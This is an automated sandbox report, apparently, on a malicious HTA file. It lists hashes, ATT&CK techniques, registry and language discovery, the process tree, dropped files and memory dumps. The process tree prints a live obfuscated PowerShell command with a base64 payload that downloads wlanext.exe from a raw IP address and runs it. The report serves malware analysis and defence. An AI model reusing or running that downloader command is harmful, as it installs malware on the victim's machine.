80b9bfa671f8626c76da94f0f39a03987278bd32e40851068a399bc69a4e05ca

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
23-10-2024 06:06

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General

Target

greatthingswithgreatideasgivenmerestthignstgood.hta
Size

130KB
MD5

b507badbce69dc67d803b7f3b1385036
SHA1

b15c7634732a783b64414505ac4a5c095405f886
SHA256

80b9bfa671f8626c76da94f0f39a03987278bd32e40851068a399bc69a4e05ca
SHA512

a844a487906193c9265b67d7f3b1b617de3f227c205e043a1238cca7dbb9c1782480b001bd68de97cc86597e13205466bd433771b681d9b64bb4404f67f1abd3
SSDEEP

96:Eam7xBVS9Mrv6VS9qrvpDCFl/Aoy58VS9sVS9QSrvdVS967T:Ea2xBQ9Gv6Q9wvaoiQ9sQ9QIvdQ9QT

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	5048	POWershEll.EXe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
5048	POWershEll.EXe
3696	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2356	wlanext.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000f000000023b50-75.dat	autoit_exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3612	2356	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWershEll.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wlanext.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5048	POWershEll.EXe
5048	POWershEll.EXe
3696	powershell.exe
3696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5048	POWershEll.EXe
Token: SeDebugPrivilege	3696	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2356	wlanext.exe
2356	wlanext.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2356	wlanext.exe
2356	wlanext.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 5048	3564	mshta.exe	85
PID 3564 wrote to memory of 5048	3564	mshta.exe	85
PID 3564 wrote to memory of 5048	3564	mshta.exe	85
PID 5048 wrote to memory of 3696	5048	POWershEll.EXe	89
PID 5048 wrote to memory of 3696	5048	POWershEll.EXe	89
PID 5048 wrote to memory of 3696	5048	POWershEll.EXe	89
PID 5048 wrote to memory of 3540	5048	POWershEll.EXe	92
PID 5048 wrote to memory of 3540	5048	POWershEll.EXe	92
PID 5048 wrote to memory of 3540	5048	POWershEll.EXe	92
PID 3540 wrote to memory of 1872	3540	csc.exe	95
PID 3540 wrote to memory of 1872	3540	csc.exe	95
PID 3540 wrote to memory of 1872	3540	csc.exe	95
PID 5048 wrote to memory of 2356	5048	POWershEll.EXe	98
PID 5048 wrote to memory of 2356	5048	POWershEll.EXe	98
PID 5048 wrote to memory of 2356	5048	POWershEll.EXe	98
PID 2356 wrote to memory of 5056	2356	wlanext.exe	99
PID 2356 wrote to memory of 5056	2356	wlanext.exe	99
PID 2356 wrote to memory of 5056	2356	wlanext.exe	99

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatthingswithgreatideasgivenmerestthignstgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\SysWOW64\wINDoWSpoWeRsheLL\v1.0\POWershEll.EXe
  "C:\Windows\SystEM32\wINDoWSpoWeRsheLL\v1.0\POWershEll.EXe" "pOwERsHell.eXe -Ex BYpASs -nop -W 1 -c DeViCECREDENTIALDEploymENt ; ieX($(IEX('[syStem.teXt.encoDiNG]'+[ChAr]0X3A+[chAr]58+'UTf8.geTSTriNG([SysteM.cOnVeRt]'+[ChaR]0X3a+[cHAR]58+'FRoMbasE64STRiNg('+[CHaR]34+'JFNUVUdrR1YgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyRGVGaW5pdElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbE1PTi5ETGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVE8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRbXBULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV01mQlhnZEssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1V0bW1tZ1lxb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBreUh1S0wpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia0pUbiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTVFVHa0dWOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTcwL3dsYW5leHQuZXhlIiwiJGVudjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3NUYVJ0LXNMZWVQKDMpO3N0QXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[char]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYpASs -nop -W 1 -c DeViCECREDENTIALDEploymENt
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3696
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\luwjyflo\luwjyflo.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6CD3.tmp" "c:\Users\Admin\AppData\Local\Temp\luwjyflo\CSC4B235646806A45B095E8FFE49E519249.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1872
- - C:\Users\Admin\AppData\Roaming\wlanext.exe
    "C:\Users\Admin\AppData\Roaming\wlanext.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\wlanext.exe"
      4⤵
      PID:5056
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 752
      4⤵
      Program crash
      PID:3612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2356 -ip 2356
1⤵
PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWershEll.EXe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a564e2d35bb441c570dcee5ebbbcc4be

SHA1
5225b8d99c4fae81f2249f7e5906f428e9b4ce60

SHA256
e7235db1db682e1e8e9381ad5c2445da4abffe6fe785c06deff9e8f39688cbfc

SHA512
614792ccf09aaa14ce2e3ec5c1a90c06c0c0f485779db96094258b2888c5201bcf5b9b8d3bd0297133c774be7db5fa071543b1c41a10b67e680505dd6be470e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6CD3.tmp

Filesize
1KB

MD5
0b00b2fa7c48371d8a690584bbed2ff3

SHA1
263e0b7c9bd7c8606217aa1f2a2db6e89450e85f

SHA256
28d190d461945a1707f494e2346a39f5992d999bd1616e0cdd3f5f1a1c30664f

SHA512
e2bd747806c610fa0cec3dca09503a716c74152521e2e1fab99dc9b89647bf19549c7fe4c1e30d773c490cba79b3e362f44fd78c38cc1738a59957f8e01929b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vii2e2nn.1dv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\luwjyflo\luwjyflo.dll

Filesize
3KB

MD5
aac5f02fc411c73c3f186cae05fe35c9

SHA1
786a76dd57ce49718a80eb11e160d9c8ba621db3

SHA256
be3ef8ca5d36078deef6ad5828f05902b7dcccbc46f2a95fe45fd6fa0771b846

SHA512
680f1252f59d864adc444d6225083476bde3a7da062b99bece9eceb9db38c4c9be5060d80eaf2b3429642743a561ed4449bbf39e44ebcff97c9373e6703bf949

Download Submit
C:\Users\Admin\AppData\Roaming\wlanext.exe

Filesize
921KB

MD5
a019a791761f4d9afb7320f65bb6d925

SHA1
ce010189dfcf3a620732522aa44404f2fbc6a9f4

SHA256
3648d3be908fd29aa493de57b767ba8c192f703ae416624b6b722733928cb5aa

SHA512
f81cace2ed94a84899f5812a4e3bde6149f393dde6eba4d1fb06b1493af20114dd05e6cdbef98bfe960b6643d8814bc66345ee76b755b102edfabf436f5cf4a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\luwjyflo\CSC4B235646806A45B095E8FFE49E519249.TMP

Filesize
652B

MD5
6182bbe6589350ff303b4da9b16f850e

SHA1
7bfccbc746822373e4449f8ccaf8c401adc48273

SHA256
fc101d03db6b880e9e3de07b58a15c8fdbb500b666faafe0532b1661fb84e72a

SHA512
13d8243e49369b7da0faa2298903f2b983adcce654b8458968bf419178359fdcba503bdf13eca4d222b55014abdc6f679eabaf79430be8885408a397d8093178

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\luwjyflo\luwjyflo.0.cs

Filesize
467B

MD5
bebfacc2d07a38d08e81ee839f88d2e7

SHA1
8330fe9e223ac4d1084c4518273c8c68f4edfcd6

SHA256
c1be21408fe017c39fccef19dcd8c332c6985209103fc5a0682b7780aaf34e1d

SHA512
6d645019b48739f665ec479e237c4f64a9e42bda04ad0df0b458e168e762f44740bca8782e70767207c5e327c5d6d206b56e1c3789c45ca592332251aab8b8cf

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\luwjyflo\luwjyflo.cmdline

Filesize
369B

MD5
a408c4ca5570eb83fc15f1335cffd3d0

SHA1
7406a27d5a3f6eebfacdaee58e9d39963ba03517

SHA256
7d7fb20f205a299ef4f3cd527994b1b95b2974922c37f3dd3828642d8a79bac2

SHA512
b924fb444674ab9bd064ef773f02e9b4676d4b74f2475f19422c5f7ecfdd7b697fec8ca1d85e5e2cd7d591982c1682bb08aa875d58bd606b6f69bdb3ab99a513

Download Submit
memory/3696-44-0x00000000070D0000-0x00000000070DA000-memory.dmp

Filesize
40KB

Download
memory/3696-50-0x0000000007380000-0x0000000007388000-memory.dmp

Filesize
32KB

Download
memory/3696-49-0x00000000073A0000-0x00000000073BA000-memory.dmp

Filesize
104KB

Download
memory/3696-29-0x0000000006310000-0x0000000006342000-memory.dmp

Filesize
200KB

Download
memory/3696-30-0x000000006DCB0000-0x000000006DCFC000-memory.dmp

Filesize
304KB

Download
memory/3696-40-0x00000000062F0000-0x000000000630E000-memory.dmp

Filesize
120KB

Download
memory/3696-41-0x0000000006F10000-0x0000000006FB3000-memory.dmp

Filesize
652KB

Download
memory/3696-42-0x00000000076B0000-0x0000000007D2A000-memory.dmp

Filesize
6.5MB

Download
memory/3696-43-0x0000000007060000-0x000000000707A000-memory.dmp

Filesize
104KB

Download
memory/3696-48-0x00000000072A0000-0x00000000072B4000-memory.dmp

Filesize
80KB

Download
memory/3696-45-0x00000000072E0000-0x0000000007376000-memory.dmp

Filesize
600KB

Download
memory/3696-46-0x0000000007260000-0x0000000007271000-memory.dmp

Filesize
68KB

Download
memory/3696-47-0x0000000007290000-0x000000000729E000-memory.dmp

Filesize
56KB

Download
memory/5048-65-0x00000000062A0000-0x00000000062A8000-memory.dmp

Filesize
32KB

Download
memory/5048-7-0x0000000004F20000-0x0000000004F86000-memory.dmp

Filesize
408KB

Download
memory/5048-0-0x00000000713FE000-0x00000000713FF000-memory.dmp

Filesize
4KB

Download
memory/5048-17-0x00000000057A0000-0x0000000005AF4000-memory.dmp

Filesize
3.3MB

Download
memory/5048-71-0x00000000713FE000-0x00000000713FF000-memory.dmp

Filesize
4KB

Download
memory/5048-6-0x0000000004EB0000-0x0000000004F16000-memory.dmp

Filesize
408KB

Download
memory/5048-5-0x0000000004E10000-0x0000000004E32000-memory.dmp

Filesize
136KB

Download
memory/5048-72-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/5048-18-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

Filesize
120KB

Download
memory/5048-19-0x0000000005D90000-0x0000000005DDC000-memory.dmp

Filesize
304KB

Download
memory/5048-4-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/5048-73-0x00000000070C0000-0x00000000070E2000-memory.dmp

Filesize
136KB

Download
memory/5048-74-0x0000000007F70000-0x0000000008514000-memory.dmp

Filesize
5.6MB

Download
memory/5048-2-0x0000000005020000-0x0000000005648000-memory.dmp

Filesize
6.2MB

Download
memory/5048-3-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/5048-1-0x00000000023A0000-0x00000000023D6000-memory.dmp

Filesize
216KB

Download
memory/5048-88-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download